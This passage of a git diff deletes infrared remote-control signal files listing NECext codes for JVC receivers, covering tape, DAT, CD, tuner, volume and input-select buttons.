NECext -address: 83 00 00 00 -command: 0C 00 00 00 -# -name: TAPE_PLAY -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0C 00 00 00 -# -name: TAPE1_PAUSE_ -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0D 00 00 00 -# -name: TAPE_1_PAUSE_(5) -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0D 00 00 00 -# -name: TAPE_PAUSE/STILL_ -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0D 00 00 00 -# -name: TAPE1_CON._PAUSE_ -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0D 00 00 00 -# -name: TAPE1_CONTROL_PAUSE -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0D 00 00 00 -# -name: TAPE1/2_PAUSE_ -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0D 00 00 00 -# -name: TAPE_CONT_PAUSE/STIL -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0D 00 00 00 -# -name: TAPE1/2_PAUSE_() -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0D 00 00 00 -# -name: TAPE_PAUSE -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0D 00 00 00 -# -name: TAPE_PAUSE_ -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0D 00 00 00 -# -name: TAPE1_CON._PAUSE/S. -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0D 00 00 00 -# -name: TAPE1_SKIP_<< -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 18 00 00 00 -# -name: TAPE1_SRCH_<< -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 18 00 00 00 -# -name: TAPE_1_<<_(2) -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 18 00 00 00 -# -name: TAPE1_MUSIC_SCAN_<< -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 18 00 00 00 -# -name: MUSIC_SCAN_<< -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 18 00 00 00 -# -name: TAPE1_SEARCH_REV_<< -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 18 00 00 00 -# -name: TAPE1_SRCH_REV_<< -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 18 00 00 00 -# -name: TAPE1/2_AMS_<< -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 18 00 00 00 -# -name: TAPE1_SKIP_< -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 18 00 00 00 -# -name: TAPE_SEARCH_<< -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 18 00 00 00 -# -name: TAPE1_SKIP_>> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 19 00 00 00 -# -name: TAPE1_SRCH_>> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 19 00 00 00 -# -name: TAPE_1_>>(3) -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 19 00 00 00 -# -name: TAPE1_MUSIC_SCAN_>> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 19 00 00 00 -# -name: MUSIC_SCAN_>> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 19 00 00 00 -# -name: TAPE1_SEARCH_FWD_>> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 19 00 00 00 -# -name: TAPE1_SRCH_FWD_>> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 19 00 00 00 -# -name: TAPE1/2_AMS_>> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 19 00 00 00 -# -name: TAPE1_SKIP_> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 19 00 00 00 -# -name: TAPE_SEARCH_>> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 19 00 00 00 -# -name: TAPE1_STOP_[] -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 43 00 00 00 -# -name: TAPE1_PLAY_> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 4C 00 00 00 -# -name: TAPE1_REC/PLAY -type: parsed -protocol: NECext -address: 83 00 00 00 -command: CC 00 00 00 -# -name: TAPE_1_REC/PLAY -type: parsed -protocol: NECext -address: 83 00 00 00 -command: CC 00 00 00 -# -name: TAPE1_REC-PLAY -type: parsed -protocol: NECext -address: 83 00 00 00 -command: CC 00 00 00 -# -name: TAPE1_CON._REC/PLAY -type: parsed -protocol: NECext -address: 83 00 00 00 -command: CC 00 00 00 -# -name: TAPE_CONT_REC -type: parsed -protocol: NECext -address: 83 00 00 00 -command: CC 00 00 00 -# -name: TAPE1/2_REC -type: parsed -protocol: NECext -address: 83 00 00 00 -command: CC 00 00 00 -# -name: TAPE_REC_(REC+PLAY) -type: parsed -protocol: NECext -address: 83 00 00 00 -command: CC 00 00 00 -# -name: TAPE1/2_PLAY/REC -type: parsed -protocol: NECext -address: 83 00 00 00 -command: CC 00 00 00 -# -name: TAPE1_REC/PAUSE -type: parsed -protocol: NECext -address: 83 00 00 00 -command: CD 00 00 00 -# -name: TAPE_1_REC/STOP -type: parsed -protocol: NECext -address: 83 00 00 00 -command: CD 00 00 00 -# -name: TAPE1_REC-PAUSE -type: parsed -protocol: NECext -address: 83 00 00 00 -command: CD 00 00 00 -# -name: TAPE1_REC/STANDBY -type: parsed -protocol: NECext -address: 83 00 00 00 -command: CD 00 00 00 -# -name: TAPE1_CON._REC/PAUSE -type: parsed -protocol: NECext -address: 83 00 00 00 -command: CD 00 00 00 -# -name: TAPE1_CON.REC/PAUSE -type: parsed -protocol: NECext -address: 83 00 00 00 -command: CD 00 00 00 -# -name: TAPE1/2_REC/STBY -type: parsed -protocol: NECext -address: 83 00 00 00 -command: CD 00 00 00 -# -name: TAPE_CONT_REC/PAUSE -type: parsed -protocol: NECext -address: 83 00 00 00 -command: CD 00 00 00 -# -name: TAPE_REC/PLAY -type: parsed -protocol: NECext -address: 83 00 00 00 -command: CD 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/147,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/147,-1.ir deleted file mode 100644 index e5f28b402..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/147,-1.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DAT_STOP_[] -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 53 00 00 00 -# -name: DAT_FF_>> -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 56 00 00 00 -# -name: DAT_FFWD_>> -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 56 00 00 00 -# -name: DAT_REW_<< -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 57 00 00 00 -# -name: DAT_PLAY_> -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 5C 00 00 00 -# -name: DAT_PAUSE/STILL_ -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 5D 00 00 00 -# -name: DAT_PAUSE_ -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 5D 00 00 00 -# -name: DAT_AUTO_SEARCH_<< -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 68 00 00 00 -# -name: DAT_SEARCH_<< -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 68 00 00 00 -# -name: DAT_AUTO_SEARCH_>> -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 69 00 00 00 -# -name: DAT_SEARCH_>> -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 69 00 00 00 -# -name: DAT_10KEY_0 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 70 00 00 00 -# -name: DAT_0 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 70 00 00 00 -# -name: DAT_10KEY_1 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 71 00 00 00 -# -name: DAT_1 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 71 00 00 00 -# -name: DAT_10KEY_2 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 72 00 00 00 -# -name: DAT_2 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 72 00 00 00 -# -name: DAT_10KEY_3 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 73 00 00 00 -# -name: DAT_3 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 73 00 00 00 -# -name: DAT_10KEY_4 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 74 00 00 00 -# -name: DAT_4 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 74 00 00 00 -# -name: DAT_10KEY_5 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 75 00 00 00 -# -name: DAT_5 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 75 00 00 00 -# -name: DAT_10KEY_6 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 76 00 00 00 -# -name: DAT_6 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 76 00 00 00 -# -name: DAT_10KEY_7/P -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 77 00 00 00 -# -name: DAT_7/P -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 77 00 00 00 -# -name: DAT_7 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 77 00 00 00 -# -name: DAT_10KEY_8 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 78 00 00 00 -# -name: DAT_8 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 78 00 00 00 -# -name: DAT_10KEY_9 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 79 00 00 00 -# -name: DAT_9 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 79 00 00 00 -# -name: DAT_10KEY_10 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 7E 00 00 00 -# -name: DAT_10_CONTINUE -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 7E 00 00 00 -# -name: DAT_10 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 7E 00 00 00 -# -name: DAT_10KEY_+10 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 7F 00 00 00 -# -name: DAT_+10 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 7F 00 00 00 -# -name: DAT_REC/PLAY -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 8C 00 00 00 -# -name: DAT_REC/PAUSE/STILL -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 8D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/159,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/159,-1.ir deleted file mode 100644 index 27515cd3c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/159,-1.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 00 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 01 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 02 00 00 00 -# -name: ACTIVE_HYPER-BASS -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 04 00 00 00 -# -name: TUNER/BAND -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 0B 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 0D 00 00 00 -# -name: (SHIFT)ENTER -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 11 00 00 00 -# -name: (SHIFT)AUTO_PRESET -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 13 00 00 00 -# -name: CD_UNKNOWN -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 14 00 00 00 -# -name: PRESET_TUNING -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 15 00 00 00 -# -name: (SHIFT)DISPLAY -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 1C 00 00 00 -# -name: (SHIFT)MODE -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 1F 00 00 00 -# -name: CD_1 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 21 00 00 00 -# -name: CD_2 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 22 00 00 00 -# -name: CD_3 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 23 00 00 00 -# -name: CD_4 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 24 00 00 00 -# -name: CD_5 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 25 00 00 00 -# -name: CD_6 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 26 00 00 00 -# -name: CD_7 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 27 00 00 00 -# -name: CD_8 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 28 00 00 00 -# -name: CD_9 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 29 00 00 00 -# -name: CD_10 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 2A 00 00 00 -# -name: CD_+10 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 2E 00 00 00 -# -name: (SHIFT)TIMER -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 30 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 32 00 00 00 -# -name: (SHIFT)CLOCK -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 33 00 00 00 -# -name: (SHIFT)TIMER_ON/OFF -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 36 00 00 00 -# -name: CD_SRCH_>>(UP) -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 3D 00 00 00 -# -name: CD_SRCH_<<(DOWN) -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 3E 00 00 00 -# -name: TAPE_STOP_[] -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 41 00 00 00 -# -name: TAPE_MUSIC_SCAN_>> -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 44 00 00 00 -# -name: TAPE_MUSIC_SCAN_<< -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 45 00 00 00 -# -name: TAPE_REC/PAUSE -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 4B 00 00 00 -# -name: TAPE_PLAY_> -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 4C 00 00 00 -# -name: TAPE_REV_PLAY_< -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 4D 00 00 00 -# -name: (SHIFT)SYNCHRO_REC -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 56 00 00 00 -# -name: CD_PLAY/PAUSE_>/ -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 70 00 00 00 -# -name: CD_STOP/CLEAR_[] -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 71 00 00 00 -# -name: (SHIFT)PROGRAM -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 74 00 00 00 -# -name: (SHIFT)EDIT -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 75 00 00 00 -# -name: (SHIFT)INTRO -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 76 00 00 00 -# -name: (SHIFT)RANDOM -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 77 00 00 00 -# -name: (SHIFT)REPEAT -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 78 00 00 00 -# -name: CD_DOOR -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 7B 00 00 00 -# -name: BASS_+ -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 87 00 00 00 -# -name: BASS_- -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 88 00 00 00 -# -name: TREBLE_+ -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 89 00 00 00 -# -name: TREBLE_- -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 8A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/163,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/163,-1.ir deleted file mode 100644 index d3cb51f57..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/163,-1.ir +++ /dev/null @@ -1,1784 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SLEEP_TIMER -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 03 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 03 00 00 00 -# -name: TV_SLEEP -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 03 00 00 00 -# -name: SLEEP_(SHIFT+3) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 03 00 00 00 -# -name: DAP_PRO_LOGIN_ON/OFF -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 05 00 00 00 -# -name: SURROUND -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 05 00 00 00 -# -name: SURROUND_ON/OFF -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 05 00 00 00 -# -name: SURR_REAR_ON/OFF(-) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 05 00 00 00 -# -name: ACCOUSTIC_EXPANDER -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 05 00 00 00 -# -name: DAP(PROCESS)ON/OFF -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 05 00 00 00 -# -name: DAPDOLBY_ON/OFF -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 05 00 00 00 -# -name: DAT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 06 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 07 00 00 00 -# -name: TAPE_2_SOURCE_SELECT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 07 00 00 00 -# -name: TAPE_2/VIDEO_SOUND -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 07 00 00 00 -# -name: VIDEO_SOUND -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 07 00 00 00 -# -name: TAPE2 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 07 00 00 00 -# -name: TAPE2/VIDEO_SOUND -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 07 00 00 00 -# -name: SOURCE_SELECT_TAPE_2 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 07 00 00 00 -# -name: SOURCE_SLCT_TAPE2 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 07 00 00 00 -# -name: TAPE2_MONITOR -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 07 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 08 00 00 00 -# -name: FM_SOURCE_SELECT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 08 00 00 00 -# -name: SOURCE_SELECT_FM -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 08 00 00 00 -# -name: SOURCE_SLCT_FM -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 08 00 00 00 -# -name: INPUT_-_FM -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 08 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 09 00 00 00 -# -name: AM_SOURCE_SELECT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 09 00 00 00 -# -name: SOURCE_SELECT_AM -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 09 00 00 00 -# -name: SOURCE_SLCT_AM -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 09 00 00 00 -# -name: INPUT_-_AM -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 09 00 00 00 -# -name: FM/AM -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 0B 00 00 00 -# -name: DAP_L_BALANCE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 0E 00 00 00 -# -name: DAP_R_BALANCE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 0F 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 10 00 00 00 -# -name: TVSOUND -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 10 00 00 00 -# -name: INPUT_-_TV -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 10 00 00 00 -# -name: VTR -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 11 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 11 00 00 00 -# -name: INPUT_-_VCR -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 11 00 00 00 -# -name: AUX-1_(VIDEO) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 12 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 12 00 00 00 -# -name: VCR2_POWER -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 12 00 00 00 -# -name: VIDEO2 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 13 00 00 00 -# -name: VTR_SOUND_SELECTOR -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 15 00 00 00 -# -name: SOUND_SELECTOR -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 15 00 00 00 -# -name: AUDIO_POWER -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 17 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 17 00 00 00 -# -name: AM/FM_DOWN_- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 18 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 18 00 00 00 -# -name: AM/FM_PRESET_CH_- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 18 00 00 00 -# -name: AM/FM_PRESET_- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 18 00 00 00 -# -name: FM/AM_PRESET_- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 18 00 00 00 -# -name: AM/FM_TUNER_PRE(-[]) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 18 00 00 00 -# -name: AM/FM_UP_+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 19 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 19 00 00 00 -# -name: AM/FM_PRESET_CH_+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 19 00 00 00 -# -name: AM/FM_PRESET_+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 19 00 00 00 -# -name: FM/AM_PRESET_+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 19 00 00 00 -# -name: AM/FM_TUNER_PRE(+>) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 19 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 1A 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 1C 00 00 00 -# -name: FADE_MUTING -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 1C 00 00 00 -# -name: FADE_MUTE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 1C 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 1D 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 1E 00 00 00 -# -name: RCVR_VOLUME_+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 1E 00 00 00 -# -name: MAIN_VOLUME_+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 1E 00 00 00 -# -name: MASTER_VOLUME_+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 1E 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 1F 00 00 00 -# -name: RCVR_VOLUME_- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 1F 00 00 00 -# -name: MAIN_VOLUME_- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 1F 00 00 00 -# -name: MASTER_VOLUME_- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 1F 00 00 00 -# -name: TUNER_10KEY_0 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 20 00 00 00 -# -name: FM/AM_0/10 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 20 00 00 00 -# -name: AM/FM_0 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 20 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 20 00 00 00 -# -name: TUNER_10KEY_0_MAG.PR -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 20 00 00 00 -# -name: FM/AM_0 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 20 00 00 00 -# -name: AM/FM_1 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 21 00 00 00 -# -name: TUNER_10KEY_1 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 21 00 00 00 -# -name: PHONO_PLAY_> -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 21 00 00 00 -# -name: FM/AM_1 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 21 00 00 00 -# -name: AM/FM_1(63HZ) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 21 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 21 00 00 00 -# -name: TUNER_10KEY_1_63HZ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 21 00 00 00 -# -name: AM/FM_2 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 22 00 00 00 -# -name: TUNER_10KEY_2 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 22 00 00 00 -# -name: PHONO_STOP_[] -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 22 00 00 00 -# -name: FM/AM_2 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 22 00 00 00 -# -name: AM/FM_2(160HZ) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 22 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 22 00 00 00 -# -name: TUNER_10KEY_2_160HZ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 22 00 00 00 -# -name: AM/FM_3 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 23 00 00 00 -# -name: TUNER_10KEY_3 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 23 00 00 00 -# -name: FM/AM_3 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 23 00 00 00 -# -name: AM/FM_3(400HZ) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 23 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 23 00 00 00 -# -name: TUNER_10KEY_3_400HZ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 23 00 00 00 -# -name: AM/FM_4 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 24 00 00 00 -# -name: TUNER_10KEY_4 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 24 00 00 00 -# -name: FM/AM_4 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 24 00 00 00 -# -name: AM/FM_4(1KHZ) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 24 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 24 00 00 00 -# -name: TUNER_10KEY_4_1KHZ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 24 00 00 00 -# -name: AM/FM_5 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 25 00 00 00 -# -name: TUNER_10KEY_5 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 25 00 00 00 -# -name: FM/AM_5 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 25 00 00 00 -# -name: AM/FM_5(2.5KHZ) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 25 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 25 00 00 00 -# -name: TUNER_10KEY_5_2.5KHZ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 25 00 00 00 -# -name: AM/FM_6 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 26 00 00 00 -# -name: TUNER_10KEY_6 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 26 00 00 00 -# -name: FM/AM_6 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 26 00 00 00 -# -name: AM/FM_6(6.3KHZ) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 26 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 26 00 00 00 -# -name: TUNER_10KEY_6_6.3KHZ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 26 00 00 00 -# -name: AM/FM_7 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 27 00 00 00 -# -name: TUNER_10KEY_7 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 27 00 00 00 -# -name: AM/FM_7/P -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 27 00 00 00 -# -name: FM/AM_7 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 27 00 00 00 -# -name: AM/FM_7/P(16KHZ) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 27 00 00 00 -# -name: 7/P -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 27 00 00 00 -# -name: TUNER_10KEY_7/P_16KZ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 27 00 00 00 -# -name: FM/AM_7/P -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 27 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: A3 00 